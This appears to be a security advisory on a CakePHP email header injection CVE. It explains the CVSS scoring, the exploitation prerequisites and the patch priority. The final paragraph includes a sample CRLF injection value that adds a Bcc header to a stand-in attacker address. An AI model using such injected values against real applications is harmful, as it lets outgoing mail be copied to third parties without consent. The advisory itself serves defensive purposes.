CakePHP CVE-2026-77634

Exploitation requires that the CakePHP application explicitly passes user-controlled data as a value to Message::setHeaders() or Message::addHeaders() - this is not a default framework behavior and must be deliberately coded by the application developer. Standard mailer usage (setting recipients, subject, and body via built-in typed methods) is not affected. The CVSS 4.0 AT:P metric directly encodes this prerequisite: the vulnerable code path must be present and reachable. Exploitation is further bounded to the email message context: the attacker cannot access the server filesystem, execute code, or read application data. What limits exploitation is the non-default configuration requirement combined with the absence of any confidentiality or availability impact - only applications that have explicitly wired external input into custom header fields are at realized risk.

The CVSS 4.0 score of 8.2 (VI:H) accurately reflects that successful exploitation produces high-integrity impact - an attacker can inject arbitrary SMTP headers - but the AT:P (Attack Target Presence) metric is the decisive limiting factor: exploitation is only possible when an application explicitly routes user-controlled data into custom email headers, which is not default CakePHP behavior. The network attack vector (AV:N) and no-privileges requirement (PR:N) expand the theoretical attacker surface, but the realized risk population narrows sharply to applications that have explicitly coded user input into setHeaders()/addHeaders() call sites. No EPSS data was provided in the source intelligence, and this CVE is not listed in the CISA KEV catalog, providing no signal of mass or targeted exploitation; no public exploit code has been identified. Confidentiality and availability are unaffected per the CVSS vector (VC:N/VA:N), bounding the blast radius to integrity of outbound email. Overall, the patch priority is high for any organization whose CakePHP application accepts external input into custom mail headers, but teams that do not use this pattern face near-zero realized risk and can treat this as a routine upgrade cycle.

An attacker submits a crafted contact-form value such as 'legitimate-value\r\nBcc: attacker@evil.com' through an endpoint whose application code passes that value directly to Message::setHeaders() to populate a custom tracking or reply header. CakePHP's transport layer serializes the unsanitized string into the outbound SMTP DATA stream, where the CRLF sequence terminates the original header and the trailing text is parsed as a new Bcc field by the mail server, silently copying every outgoing message to the attacker's address. No public exploit code has been identified, but CRLF injection in mail headers is a well-documented and trivially constructed attack class.